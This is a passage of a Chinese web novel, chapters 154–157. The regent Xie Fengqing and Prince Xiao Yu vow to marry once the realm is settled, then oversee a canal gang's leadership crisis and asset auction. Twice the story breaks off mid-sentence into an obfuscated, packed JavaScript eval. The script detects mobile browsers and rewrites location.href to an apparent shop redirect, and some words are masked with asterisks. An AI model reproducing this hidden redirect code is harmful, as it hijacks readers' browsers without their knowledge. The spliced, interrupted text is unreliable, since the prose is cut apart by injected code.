谢凤卿低头,目光沉静地注视着脚下泾渭分明、却又在光影中浑然一体的冰火界限。她抬起右脚,轻轻踏在冰冷彻骨的寒玉那一侧,瞬间,刺骨的寒意从脚底直窜而上;她缓缓移动脚步,落到温热踏实的火成岩那一侧,暖意包裹,驱散寒意。如此反复两次,最终,她将双脚稳稳地、平分秋色地踏在了那条清晰的中心线上,同时感受着来自左右两侧的、矛盾对立却又奇妙和谐的力量与温度——左足冰寒,右足温热,那感觉奇异无比,却让她纷乱的心绪奇异地平静下来,达到一种微妙的平衡。 “这里,如何?”她轻声问道,声音在异常安静的高台上显得空灵而清晰,仿佛带着回响。 萧御同样稳稳站在中心线上,仔细感受着这前所未有的奇特氛围。冰寒与温热交替侵袭,却又在身体中达成一种动态的平衡;视觉上是截然对立的光影世界,身处其中却感受到一种别样的和谐与稳固。“冰与火,冷与热,静与动,刚与柔……极端对立,截然不同,却又完美共存于这一方台面之上,构成一个稳固而奇妙的整体。”他顿了顿,转头看向身侧谢凤卿被光影分割的绝美侧颜,声音低沉而充满洞察,“如同……我们。你是锐意进取、焚尽旧弊、开创未来的‘火’,炽热、明亮、充满变革的力量;我是稳固后方、冷静制衡、守护根基的‘冰’,沉静、坚韧、提供持续的支撑。看似属性迥异,本质不同,目标与方向,却始终一致。唯有冰火相济,刚柔并施,方能成就真正稳固而长久的伟业。” 谢凤卿眼中闪过一丝毫不掩饰的赞赏,如同冰火之光在她眸中交汇。“不错。这便是我命人耗费心力,在此隐秘之地建造此台的用意之一。”她的目光扫过这奇幻的台面,“世间万物,并非非黑即白,非此即彼。情感亦如是,并非只有耳鬓厮磨、朝夕相守一种模样。并肩作战、生死托付是情;志同道合、心意相通是情;彼此理解、相互支撑是情;甚至,将个人小爱置于家国大爱之后,为共同理想暂搁花月,相约于山河大定之时……亦是情。这或许是更深沉、更艰难、更需要克制与忍耐,却也正因为如此,而更能经得起时间洪流冲刷、世事风雨考验的情。” 她抬起头,望向东方天际。在那最深沉的墨蓝色天幕尽头,已然出现了一道极其细微、几乎难以察觉的鱼肚白,如同画家用最淡的笔墨在画卷边缘轻轻抹过的一笔。黎明将至,黑暗正在悄然退却。 第154章那就说定了 “在雪原高台,以桃花剑为誓,我立下了‘山河不宁,不办婚礼’的誓言。”谢凤卿的声音平静而坚定,在渐起的微光中显得无比清晰,“在这里,在这象征着矛盾统一、交融共生、平衡稳固的冰火高台之上,我要立下我另一部分的誓言,完成我们之间那个约定的另一半,回应你的‘山河大定,再娶我’之约。” 她转过身,正面对着萧御。冰火交织的梦幻光影在她绝美的容颜上流淌、变幻,让她看起来既真实可触,又虚幻如梦境中人,既带着令人心折的亲近感,又有着不容亵渎的遥远神性。 “萧御,你以‘山河大定,再娶我’为誓,掷地有声,天地为鉴。”谢凤卿的目光灼灼,如同蕴藏着星辰与火焰,与萧御深邃而炽热的眼眸在空中交汇、碰撞、缠绕、最终仿佛融合在一起,“那么,我谢凤卿的回应便是——” 她的声音陡然拔高,清晰无比,带着斩钉截铁的决绝与庄重肃穆的承诺,在这寂静的山谷、奇幻的高台之上,朗朗回荡,仿佛要烙印进四周的岩石与空气之中: “待到你所说的四海升平、国泰民安、女学遍地、铁路贯通、百姓安乐、蛮夷宾服的那一日,待到我心中所系的**山河真正涤荡尘埃、焕发新生、富强文明、屹立于世界之巅、无人再敢轻辱的那一刻——” 她停顿,胸膛微微起伏,那口气息悠长而炽热,目光牢牢锁住萧御,一字一顿,说出了那句完整的、双向的、终极的誓约: “山河大定之日,便是我谢凤卿,再嫁你萧御之时!此诺既出,山海不移,天地共证,生死不悔!” 这是她对“山河不宁,不办婚礼”这一“拒婚之志”的最终完成与升华,是她对萧御那份沉甸甸誓言的郑重、平等、而热烈的回应,也是她为自己立下的、与家国天下责任紧密捆绑、同呼吸共命运的终极情感归宿与承诺。不是彻底的拒绝,而是充满希望的延迟。延迟至一个对得起彼此真心、对得起肩上责任、对得起这**山河与千秋青史的、真正圆满而无愧的时刻。 萧御眼中光芒大盛,仿佛有万千星辰在那一瞬间于他眼底炸裂、汇聚成璀璨的银河。一种巨大的、几乎要将他淹没的喜悦、激动、骄傲与难以言喻的满足感,如潮水般席卷全身。他重重地点头,千言万语,澎湃心潮,最终只化作最简短的、却承载了无限重量的承诺:“好!” 谢凤卿的目光,随即落到了台下恭敬垂首的阿九,以及他手中那个微微开启的紫檀木锦盒上。她自然知道那里面是什么,那是她早前便已暗自吩咐,精心准备的“信物”。 阿九感受到她目光的注视,连忙上前几步,单膝跪地,将锦盒高高举过头顶,声音带着少年人特有的清亮,以及难以抑制的激动与颤抖:“王爷!这是按您月前吩咐,以天外坠落的玄铁陨星为主料,辅以金精,由工部最好的老匠人耗费心血,千锤百炼而成,又嵌以寒玉髓与炎阳石最精纯的微粒,打造而成的……对戒。”他顿了顿,努力回忆着匠人当时的感慨之词,“那位老匠人说,此陨铁历经九天雷火淬炼,落地后又承受地火寒冰,材质神异,不畏凡火,不惧玄冰,坚不可摧,历久弥新,象征……象征……” 他有些卡壳,涨红了脸,不知该如何准确形容这戒指在此时此刻、此情此景下的无上寓意。是象征情比金坚?似乎太俗。象征契约永恒?又觉不足。 谢凤卿却已了然于心。她看着锦盒中那对在冰火梦幻光晕下流转着独特内敛光泽、造型古朴大气的戒指,眼中掠过一丝极淡的、几乎看不见的温情与满意,但随即,那温情便被更强大的理智与决断覆盖、沉淀。 她没有示意阿九将锦盒呈上,也没有自己去接,而是居高临下,对跪地的阿九,也是对她身侧的萧御,清晰而平静地说道: “戒指很好,其材、其工、其寓,皆合我意。不畏水火,坚不可摧,历劫不损,恰如我们所立之约,所需之信物。” 她话锋一转,语气依旧平静无波,却带着不容置疑的、最终的决断: “然而,誓言在心,不在形;契约在志,不在物。山河大定之前,此约存乎你我之心,贯乎你我之行,无需外物为凭,亦不可让外物分散心神。这戒指……” 她微微摇头,目光再次投向东方那越来越亮的天空,说出了今晚关于这份情感、这个誓约的最后一句、也是最具象征意义与仪式感的话语: “待山河大定之日,再戴不迟。” 现在不戴戒指,正如现在不办婚礼。所有仪式性的、象征归属、结合与圆满的外在形式,都要留待那个共同奋斗、共同期盼的宏大目标达成之后。这是一种极致的克制,一种近乎严苛的延迟满足,却也正因为这份克制与延迟,而呈现出一种极致纯粹、极致深沉、也极致浪漫的意味——将最美好的期待、最郑重的象征、最圆满的结合,留给那个由两人亲手缔造的、最值得纪念的未来。戒指在此刻,不是定情信物,而是“未来完成时”的凭证与奖赏。 阿九虽然年轻,此刻却也似乎隐约明白了主上的深意。他有些懵懂,但更多的是由衷的敬畏与感动。他连忙恭敬应道:“是,王爷!小的明白了!小的定当用性命守护此盒,待……待山河大定、普天同庆的那一日,再亲手奉于王爷与殿下面前!”他将锦盒小心盖好,紧紧抱在怀中,仿佛抱着一个无比神圣的使命。 萧御闻言,非但没有丝毫失望,嘴角反而控制不住地,勾起一抹了然而又充满无限期待与温柔的笑意。那笑意融化了他脸上惯常的冷硬线条,在冰火光晕下显得格外动人。他完全明白她的意思。这延迟的戒指,与那延迟的婚礼一样,将成为悬在前方、照亮征途的明灯,成为他们之间最特别、最坚韧的纽带,也是最强劲的、推动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974911|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼此不懈奋斗的驱动力。它此刻不戴在指上,却已深深镌刻在彼此心间。 他上前一步,与谢凤卿并肩而立,共同望向东方那已然越来越亮、逐渐染上金红色霞光的天际。黎明前的黑暗正在迅速退去,新的一天,新的征程,即将开始。 “那就说定了。”萧御低声道,声音里带着笑意,更带着磐石般的坚定与无尽的憧憬,“山河大定之日,婚礼,戒指,凤冠霞帔,十里红妆,万民同贺……一样都不会少。我会让那一天,成为这片土地上,最辉煌的盛典。” “嗯。”谢凤卿轻轻应了一声,声音几不可闻,却清晰地落入萧御耳中。她没有再多言,只是静静地伫立着,目光投向远方那喷薄欲出的曙光,仿佛已经看到了那条布满荆棘却也开满鲜花、通往“山河大定”的漫漫长路,看到了那条路上,他们将并肩而行的身影。 冰火高台之上,一玄一青两道身影并肩而立,沉默而坚定。头顶,冰蓝与火红的奇异光芒温柔而永恒地交织笼罩着他们,如同一个梦幻的结界。脚下,是冰冷与温热截然分明却又和谐统一的界限,象征着他们看似迥异却目标一致的属性与位置。身后,是即将彻底消散的深沉夜色与过往的纷扰;面前,是正在喷薄而出、不可阻挡的黎明曙光与充满希望的未来。 他们刚刚完成了一个超越时代、超越世俗理解的情感契约:以**山河的安宁富庶为唯一条件,以这冰火交融、矛盾统一的奇观为神圣见证,将最私人、最炽热的婚嫁之约,与最宏大、最沉重的家国天下梦想,紧密而庄严地绑定在一起。没有花前月下的你侬我侬,没有海誓山盟的甜腻缠绵,有的只是并肩静立、共看山河曙色的沉默,和一份沉重如山海、璀璨如星辰、需要穷尽毕生之力去实现的共同期待。 高台中心线上,玄衣银裘的女子与青衫墨氅的亲王并肩而立的身影,被这奇异的光芒勾勒得如同上古传说中司掌法则的神祇雕塑,静谧,永恒,充满不可言说的力量与美感。 台下,少年紧紧抱着珍藏未来信物的紫檀锦盒,如同守护着希望的种子;远处谷口,忠诚勇悍的卫士如亘古磐石,守卫着这片缔结神圣誓约的净土。 没有交换信物,没有亲密接触,只有一句“山河大定,再戴戒指”的延迟约定,和一个“山河大定,再娶/再嫁”的双向终极誓约,如同最牢固的锁链,将两颗骄傲而强大的心,与这片辽阔山河的命运,紧紧锁在了一起。 这冰冷与炽热极端对立却又和谐共生的人间奇观高台,就此成为了他们之间,超越寻常儿女情长、与家国天下同呼吸共命运的全新情感符号、精神图腾与不朽契约丰碑。 长夜将尽,曙光已现,天色渐明。通往“山河大定”的漫长征途,与这份因延迟而愈显珍贵、因绑定家国而愈显厚重的深情,将一同迎来新的黎明,踏上新的征程。 第155章推举帮主 二月初六,卯末辰初。 江南的春日,本该是草长莺飞、杏花烟雨的时节。可这一日的黎明,却笼罩在一片粘稠的湿冷之中。浓雾如乳白色的巨兽,吞噬了运河两岸的垂柳画舫,吞噬了青石板路上的晨起行人,也吞噬了那座盘踞在运河畔已逾百年、宛如水上城池的漕帮总舵。 总舵依水而建,占地百余亩,黑瓦青砖,飞檐如钩。五座高达三丈的瞭望塔楼分踞四方与中央,塔顶的漕帮黑旗在湿重的雾气中无力垂落,旗面上那个以金线绣成的巨大“漕”字,也失去了往日的张扬霸气,只余下模糊的轮廓。石砌的码头沿着河岸延伸出半里有余,可同时泊靠五十艘大型漕船,此刻却空空荡荡——所有船只昨夜便接到严令,今日一律不得靠近总舵三里之内。 空气里弥漫着河水特有的腥气、陈年货物堆积的霉味,以及一种近乎凝滞的压抑。帮众们早已接到指令,三步一岗,五步一哨,将总舵围得铁桶一般。这些平日里吆五喝六、在运河上讨生活的汉子,今日却个个面色紧绷,按在刀柄上的手背青筋隐现,眼神里除了戒备,更有一种深藏的不安与茫然。 他们知道,天要变了。 议事堂——这座漕帮的权力核心,此刻更是气氛凝重得能拧出水来。 大堂面阔九间,进深五间,取“九五”之数,足见其昔日的野心与辉煌。七十二根合抱粗的楠木柱子撑起高阔的穹顶,柱身被岁月和香火熏染成深褐色。正北墙上,悬挂着一幅巨大的《漕运**图》,描绘着运河自钱塘至通州的千里风光,笔力雄浑,气势磅礴。图下,是一张宽逾丈二的紫檀木雕花大案,案后那张象征着漕帮至高权柄的虎皮交椅,此刻却显得无比空旷而刺眼。 因为,那张椅子的主人,漕帮第三十七代帮主,“镇河龙王”柳擎天,如今只能瘫坐在大案右侧特设的一张铺着厚厚锦垫的紫檀木太师椅上。 柳擎天年近六旬,身高八尺,膀大腰圆,即便如今病骨支离,那骨架依旧能看出当年的雄武。他脸上纵横交错的皱纹如同运河冲刷出的沟壑,每一道都刻着风浪与刀光。可此刻,这张曾经令运河两岸黑白两道闻风丧胆的面孔,却呈现出一种死灰般的蜡黄。左半边身子完全不能动弹,右手虽然还能微微抬起,却抖得厉害。最令人心酸的是他那双眼睛——曾经如鹰隼般锐利,能一眼看透人心、洞悉河上风云的眼睛,如今浑浊不堪,眼神涣散,嘴角不受控制地淌下涎水,只能用那唯一还能动的右手,死死抠住太师椅的扶手,指节因为用力而发白。 这位执掌漕帮三十年,在运河上说一不二、连官府都要让他三分的枭雄,如今却连一句完整的话都说不出来,只能从喉咙深处发出“嗬嗬”的、如同破风箱般的声响。每一次努力想要表达什么的尝试,都只能让那半边僵硬的脸颊肌肉更加扭曲。 侍立在他身侧的,是他的独子,漕帮少主柳随风。他约莫二十五六岁年纪,身量修长,着一身藏青色劲装,腰佩一柄镶着蓝宝石的秋水长剑。他的面容继承了母亲的清秀,眉眼间甚至带着几分江南文士的雅致,与父亲粗犷的样貌截然不同。可此刻,这张本该俊逸的脸上却笼罩着一层驱之不散的阴郁,嘴唇紧抿成一条苍白的直线,眼底深处是浓得化不开的焦虑与……恐惧。 他的目光,时不时地瞟向议事堂那两扇紧闭的、高逾一丈的朱漆大门。门外,晨雾弥漫,寂静得可怕。可他知道,这份寂静之下,是足以吞噬整个漕帮的惊涛骇浪。 堂内黑压压坐了近百人。左侧上首,是五位须发皆白、但眼神依旧精光内蕴的长老——传功长老“铁掌开碑”石镇岳、执法长老“冷面判官”司徒玄、内务长老“笑面财神”钱不多、外联长老“八面玲珑”风四海、以及掌舵长老“浪里蛟”**。这五人跟随柳擎天打下半壁江山,在帮中威望极高,各自掌握着漕帮至关重要的权柄。 右侧,则是三十六路分舵中排名前二十位的舵主,以及各重要堂口的香主。这些人或精悍、或粗豪、或阴沉,无一不是手握实权、在各自地盘上呼风唤雨的人物。他们身上混杂着江湖人的草莽气息与行商者的精明算计,形成一种独特的气质。此刻,这些平日里跺跺脚就能让一段河道震颤的汉子们,却个个正襟危坐,眼观鼻、鼻观心,连呼吸都刻意放轻了。 死寂。 只有柳擎天偶尔发出的、含混不清的“嗬嗬”声,以及窗外浓雾中隐约传来的、压抑的梆子声,在空旷的大堂内回荡。 所有人的心头,都压着一块巨石。那块巨石的名字,叫做“变天”。 老帮主突然倒下,漕帮群龙无首,已是危如累卵。而更可怕的是,朝廷——或者说,是那位如今权倾朝野、手段狠辣如雷霆、心思缜密如蛛网的摄政王谢凤卿,她的目光,已经如最精准的鹰隼,锁定了漕帮这块流淌着金银的肥肉。 三日前,那封盖着摄政王金印和监国亲王副印的公文送到时,整个总舵几乎炸开了锅。“派员列席”,“共商漕运革新大计”——话说得客气,可字里行间透出的寒意,让这些在刀口上舔血半生的江湖汉子,都忍不住打了个寒颤。 列席?怕是来摘桃子吧!共商?怕是来定生死吧! “革新”?革谁的命?运谁的新? 没有人怀疑那位摄政王的手段和决心。宗庙的血腥清洗、户部衙门的雷霆审计、世界**库的惊天动地……这一桩桩、一件件,早已如惊雷般传遍天下。江南虽然远离京城,但消息并不闭塞。他们太清楚,这位横空出世的“财神大帝”,绝非那些只知争权夺利、贪图享乐的庸碌权贵可比。她要的,是真正的改天换地!而漕帮,掌控着帝国南北漕运的半壁江山,每年经手的钱粮货物以千万计,与地方豪强、朝中势力乃至藩王都有着千丝万缕的联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981381|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,早已成了旧秩序中一块巨大而顽固的基石。 这块基石,她会放过吗? 答案,在每个人心中,都清晰得令人绝望。 “铛——铛——铛——” 辰时的钟声,终于从总舵最高的钟楼上响起,沉闷而悠长,穿透浓雾,敲在每个人的心头。 传功长老石镇岳,这位须发皆白、面庞如刀削斧劈般硬朗的老者,缓缓睁开了微阖的双眼。他的目光如电,扫过堂下众人,最后落在气息奄奄的柳擎天身上,眼底深处掠过一丝痛楚,随即化为磐石般的坚定。他清了清嗓子,那声音如同砂石摩擦,打破了令人窒息的沉默: “辰时已到。按帮规,三年一度总舵议事,现在开始。” 他的目光转向柳随风,带着一丝不易察觉的复杂:“少主,帮主身体不便,今日议事,便由你代为主持。诸位,可有异议?” 堂下一片寂静。这个时候,谁还敢有异议?柳随风是柳擎天唯一的儿子,名正言顺的继承人,即便资历尚浅、威望不足,但在老帮主尚在、朝廷虎视眈眈的当口,推他出来主持,既是无奈,也是一种姿态——漕帮,仍有主心骨。 柳随风深吸一口气,强迫自己镇定下来。他走到父亲身侧,面向众人,抱拳环揖,声音带着刻意压制的平稳:“诸位叔伯,各位弟兄。家父突遭病厄,无力主持帮务,随风年少德薄,本不敢僭越。然值此非常之时,承蒙诸位长老与弟兄不弃,推随风暂代主持,随风唯有勉力为之,若有不到之处,还请各位叔伯海涵,多多提点。” 这番话,姿态放得极低,既表明了处境,又给了在场元老面子。几位长老面色稍霁,微微点头。一些与柳随风关系尚可的分舵主,也投来鼓励的目光。 “今日议事,首要之务,”柳随风顿了顿,喉结滚动了一下,才艰难地继续道,“乃是依循旧例,并因应当前时局,推举新任帮主,以定帮众之心,以稳运河大局。” 推举帮主! 这四个字像一块巨石投入死水,终于激起了波澜。尽管早有预料,但当柳随风亲口说出时,堂内还是响起了一阵压抑的骚动。目光交汇,暗流汹涌。谁将是新的龙头?是老成持重的长老们?是年轻却占据大义的少主?还是……那位即将到来的、高踞庙堂之上的“贵人”属意之人? 柳随风仿佛没有看到这些闪烁的目光,他按照事先与几位心腹长老商议好的流程,继续道:“其次,鉴于朝廷新政,漕运革新势在必行,为筹措资金,应对变局,并……厘清股权,以便未来与各方合作,今日亦需议定,处置部分帮中公产。” “处置公产”四个字,他说得极其艰涩。这哪里是“处置”,分明是分割、是变卖、是自断臂膀!可这是那位摄政王公文里暗示的,也是几位长老权衡利弊后认为唯一可能保全漕帮不被连根拔起的办法——主动割肉,或许还能留得青山。 第156章朝廷的钦使仪仗,已至总舵大门外 堂下的骚动更大了。有人面露愤慨,有人眼神闪烁,有人则低下头,盘算着如何在这场即将到来的分割中,为自己、为自己的那一支,攫取最大的利益。 “报——!” 就在此时,堂外突然传来一声拉长了音调、带着明显颤抖的高声禀报,打断了柳随风的话,也打断了所有人的思绪: “启禀少主!各位长老!朝廷……朝廷的钦使仪仗,已至总舵大门外!摄政王、监国亲王……驾到——!” 最后那声“驾到”,禀报之人几乎是嘶喊出来的,带着无边的恐惧与敬畏。 来了! 终于来了! 尽管早有准备,但当这一刻真正来临时,堂内所有人还是感到心脏猛地一缩,仿佛被一只无形的大手攥紧。空气瞬间凝滞,连柳擎天那含糊的“嗬嗬”声,都骤然停了一瞬。 柳随风脸色煞白,身体几不可察地晃了一下,随即强行站稳。他看向石镇岳,石镇岳对他微微点头,眼神沉凝如铁。 “开……开中门!”柳随风的声音带着一丝不易察觉的颤音,但很快被他压了下去,提高了音量,“所有头目,随我……出迎!” 沉重的朱漆大门,被四名壮硕的帮众缓缓推开,发出“嘎吱——嘎吱——”令人牙酸的声响。潮湿寒冷的晨风裹挟着浓雾,一股脑地灌入温暖却压抑的议事堂,让所有人都是一个激灵。 柳随风走在最前,五位长老紧随其后,然后是各分舵主、香主,按照地位高低,鱼贯而出,在议事堂前的宽阔广场上,排成了黑压压的两列。 广场以青石板铺就,因为晨雾和湿气,石板表面泛着幽暗的水光。两侧矗立着历代帮主的功德碑,在雾中若隐若现,如同沉默的幽灵,注视着眼前这一幕。 所有人的目光,都死死盯向总舵大门的方向。 浓雾依旧厚重,视线受阻。只能隐约听见整齐划一、沉重有力的脚步声,正由远及近,不疾不徐地踏在青石板路上,如同踏在每个人的心口。 脚步声越来越近,越来越清晰。 终于,浓雾被无形的力量拨开。 首先映入眼帘的,是两排玄甲武士。 他们约莫二十余人,身材高大,步伐一致,玄色轻甲覆盖全身,在灰白色的雾气中显得格外肃杀冰冷。面甲遮蔽了容貌,只露出一双双毫无感情的、如同寒冰铸就的眼睛。腰间佩着的,并非寻常刀剑,而是形制特异的狭长横刀,刀鞘乌黑,隐隐有血槽反光。他们行走之间,气息沉凝,动作精准得如同尺子量过,一股久经沙场、视人命如草芥的凛冽杀气,如同实质的寒潮,随着他们的步伐,扑面而来,瞬间席卷了整个广场。 风雪十八骑! 即使未曾亲眼见过,这个令人胆寒的名字也早已随着摄政王的种种传奇传遍天下。此刻亲眼得见,这些平日里刀头舔血的漕帮头目们,竟也感到一股寒意从脚底板直冲天灵盖,呼吸都为之一窒。这是真正从尸山血海中爬出来的百战精锐,与他们这些江湖草莽,根本不是一个层次的存在。 玄甲武士在广场中央分列两侧,如同两排沉默的黑色石碑,隔绝出了一条通道。 然后,那两道身影,才从浓雾深处,缓缓走出。 左侧一人,玄衣墨发,身姿挺拔如松。正是权倾朝野的摄政王,谢凤卿。 她今日未着繁复的朝服冠冕,仅是一身裁剪合体的玄色箭袖锦袍,以暗金线绣着简单的流云纹,腰束同色革带,革带上除了那柄闻名天下的桃花剑外,还悬着一枚看似不起眼、却让有心人瞳孔骤缩的玉佩——玉质温润,形似一枚精致的铜钱,中间方孔处隐约可见桃花纹样。稍有见识的巨贾都认得,那是“财神商会”核心成员才有的信物,“桃花铜钱令”!外罩一件玄色披风,披风下摆在晨风中微微拂动。她容颜清冷,眉目如画,肌肤在灰蒙蒙的天光下显得愈发白皙通透,仿佛上好的羊脂玉。最慑人的是那双眼睛,平静无波,深邃如古井,目光扫过之处,无人敢与之对视,只觉一股无形的威压当头罩下,让人不由自主地想要低头、臣服。 右侧稍后半步,是监国亲王萧御。他穿着一身石青色亲王常服,绣四爪行蟒,玉冠束发,面如冠玉,目若朗星。相较于谢凤卿那种洞悉一切、掌控一切的淡然威仪,萧御的气质更偏沉静内敛,如同未出鞘的绝世名剑,光华内蕴,却无人敢小觑其锋芒。他步履沉稳,与谢凤卿保持着一种微妙的、既显尊重又不失自身气度的距离,两人一前一后,虽无言语交流,却自有一种无形的默契与相互支撑的气场弥漫开来,仿佛他们站在那里,便是秩序,便是法理,便是不可违逆的意志。 在他们身后,还跟着数名捧着厚重卷宗、拿着算盘账册的文吏,以及两名穿着素雅、气质干练的中年女子——那是女学基金总会派来的管事,眼神清明,举止沉稳,与这杀气腾腾的江湖总舵格格不入,却又奇异地融入那两位贵人身后形成的威势场中。 整个广场,鸦雀无声。只有晨风穿过廊檐发出的呜咽,以及远处运河隐约的水流声。 柳随风强行压下心头的悸动,上前三步,深深躬身,长揖到地,声音在寂静中显得格外清晰,甚至带着一丝不易察觉的颤抖:“漕帮柳随风,率帮中众长老、舵主、香主,恭迎摄政王千岁!监国亲王殿下!千岁千岁千千岁!” 他身后,近百名在运河上跺跺脚就能让水面起浪的汉子,齐刷刷地躬身行礼,黑压压一片,场面蔚为壮观,却也透着一股难以言喻的悲凉与无奈。曾几何时,漕帮总舵,何时需要如此卑躬屈膝地迎接朝廷中人?即便是总督巡抚亲至,柳擎天也最多是开中门相迎,平辈论交。可如今…… 时移世易,龙游浅水。 谢凤卿的目光,淡淡扫过躬身的人群,在瘫坐在轮椅被推至门口的老帮主柳擎天身上停留了一瞬。那双浑浊的眼睛,在与她目光接触的刹那,似乎迸发出了一丝极其微弱、却又无比复杂的光芒——有哀求,有无奈,有认命,或许还有一丝如释重负?随即,那光芒便迅速黯淡下去,重新被死灰般的浑浊所取代。 谢凤卿心中微微一动,却并未表现出来。她的目光随即落在柳随风身上,停留片刻,微微颔首,清越的声音在空旷的广场上响起,不大,却清晰地传入每个人耳中:“柳少主免礼,诸位请起。本王与亲王此番前来,非为摆朝廷仪仗,实是听闻柳老帮主身体违和,漕帮正值新旧交替之关口,运河又系国脉民生命脉所在,故特来观礼,并与诸位共商这漕运未来之发展大道。不必过于拘礼。” 话说得客气,姿态也给得足。但“观礼”、“共商”、“漕运未来之发展大道”这些词,听在漕帮众人耳中,却字字千钧。观礼?观什么礼?自然是观这“易主”之礼!共商?与谁商?自然是与这位能决定漕帮生死存亡的摄政王商!发展大道?大道通往何方?恐怕已不由漕帮自己决定了。 柳随风直起身,只觉得后背已被冷汗浸湿。他努力挤出一丝还算得体的笑容,侧身让开道路:“王爷、殿下体恤,恩深似海。外间寒湿,还请移步议事堂上座。家父……已在堂内等候。”他特意提及父亲,既是表明孝道,也是在隐隐强调漕帮仍有主心骨,哪怕这主心骨已形同朽木。 谢凤卿点了点头,并未多言,与萧御并肩,率先向议事堂走去。玄甲风雪十八骑无声地分出数人,先行进入大堂,占据了几个关键位置,其余人则留在广场,与漕帮的护卫隐隐形成对峙之势,气氛依旧紧绷。 众人重新回到议事堂,分宾主落座。谢凤卿与萧御被请至上首主位——原本属于帮主的虎皮交椅旁,早已增设了两张同样规格的太师椅。柳擎天依旧瘫坐在原位,由两名亲信弟子照料。柳随风侍立其侧。五位长老与重要头目分列两旁。 简单的寒暄与奉茶过后(那茶盏在许多人手中抖得厉害),议事按照既定的流程,在一种极度压抑和诡异的氛围中继续。 传功长老石镇岳再次起身,代表漕帮陈情。他声音沉痛,回顾了老帮主柳擎天三十年来为漕帮、为运河安定做出的贡献,分析了当前漕帮面临的“内外交困”——外有朝廷新政对旧有漕运体系的冲击,内有老帮主病重、群龙无首的危机,还有新兴的“铁路”运输、蒸汽机船等技术带来的潜在威胁。他说得客观,甚至有些悲壮,既点明了困境,也委婉表达了漕帮愿意顺应时势、配合朝廷革新求变的意愿。 接着,几位分舵主也相继发言,无非是表达对老帮主的敬意、对当前困境的忧虑、以及对未来的迷茫,言辞谨慎,不敢有丝毫逾越。 第157章十成?她想一口吞了漕帮 整个过程,谢凤卿只是静静听着,偶尔端起茶盏轻啜一口,面色平静,看不出喜怒。萧御更是如同入定的老僧,眼帘微垂,仿佛神游物外。但越是这样,堂内的气氛就越是压抑,仿佛暴风雨前的宁静,空气沉重得让人喘不过气。 终于,最核心、也最残酷的环节到来了。 刑堂长老司徒玄,这位以铁面无私、执法严酷著称的“冷面判官”,面无表情地站起身。他身材干瘦,面色黝黑,一双三角眼锐利如鹰,扫过堂下众人时,无人敢与之对视。他手中捧着一份厚达尺余的清单,展开,用他那特有的、冰冷得不带一丝感情的腔调,开始唱名: “依总舵决议,为筹措资金,应对时艰,并厘清股权,便于未来合作,现拟处置部分帮中公产。以下为待处置资产清单及初步估值。” “总舵核心产业:总舵码头及附属仓房十二座,占地两百三十亩,估值……白银八十万两。” “运河沿线一等码头十五处,分布于杭州、苏州、扬州、淮安、济宁、临清、德州、天津等地,估值白银一百二十万两。” “二等码头三十七处,估值白银九十万两。” “大型漕船两百零八艘,中型货船四百五十五艘,小型船只及舢板不计,船队总估值白银一百五十万两。” “各处分舵房产、田产、商铺、货栈、车马行等不动产,估值白银一百一十万两。” “现存银库现银、各州府钱庄存款、以及易于变现之珠宝古玩,合计约一百五十万两。” “另,漕帮掌控之漕粮专运额度、盐引份额、以及各地通关关节等无形资产,经众长老合议,暂估值五十万两。” 司徒玄的声音平稳无波,每一个数字都像冰冷的锤子,敲在在场每个人的心头上。当最后一项报完,堂内陷入一片死寂,只有粗重的呼吸声此起彼伏。 六百万两!足足近六百万两白银的家底! 许多底层的舵主、香主,也是第一次如此清晰地知道帮中竟有如此惊人的财富,震惊之余,心头更是涌起难以言喻的悲哀与愤怒。这是漕帮百年来,数十代帮众在风浪里搏命,在刀尖上舔血,一点点积攒下来的基业啊!如今,却要像待宰的肥羊一样,被摆在砧板上,明码标价,任人分割! 但悲哀愤怒之余,更多的是深深的无力。老帮主倒了,朝廷的刀悬在头顶,除了“处置”,还有第二条路吗? 司徒玄合上清单,声音依旧冰冷:“以上资产,总估值六百万两。为筹措资金,厘清股权,现拟将总资产作价五百万两,分出四成干股,计两百万两股本,面向……有意向之合作方,公开募资。价高者得。所得款项,一半留存总舵,以应帮务周转及革新之需;另一半……按朝廷指导意见,注入指定专项账户,用于漕运沿线民生改善及……技术革新。” “指定专项账户”,“朝廷指导意见”——这些词如同烧红的烙铁,烫得众人心头一颤。谁不知道,那所谓的“指定账户”,多半就是摄政王掌控的某个机构?这分明是要将漕帮近半的家当,拱手送出去,以换取一线生机! “现在,”司徒玄三角眼中寒光一闪,扫过全场,“开始报价。” 短暂的、令人窒息的沉默。 所有人的目光,都不由自主地瞟向上首那两位神色平静的贵人。他们知道,真正的买家,或许只有一位。但总有人,不甘心,想搏一搏。 果然,一个略带尖锐、带着江南口音的声音,从大堂右侧靠后的位置响了起来: “我们‘江南粮绅联合会’,出价一百二十万两,购两成股份!” 众人循声望去,只见那里坐着七八个身穿绫罗绸缎、大腹便便的商人。为首者年约五旬,留着两撇精心修剪的鼠须,三角眼,眼珠子滴溜溜乱转,透着商贾特有的精明与一丝掩藏不住的倨傲。正是江南粮绅联合会的会长,朱半城。此人名下田产无数,控制着江南近三成的粮食贸易,更与几位在江南有封地的藩王过从甚密。他此刻报价,显然背后有宗室势力的支持,想趁此机会分一杯羹,甚至借机渗透、掌控部分漕运命脉。 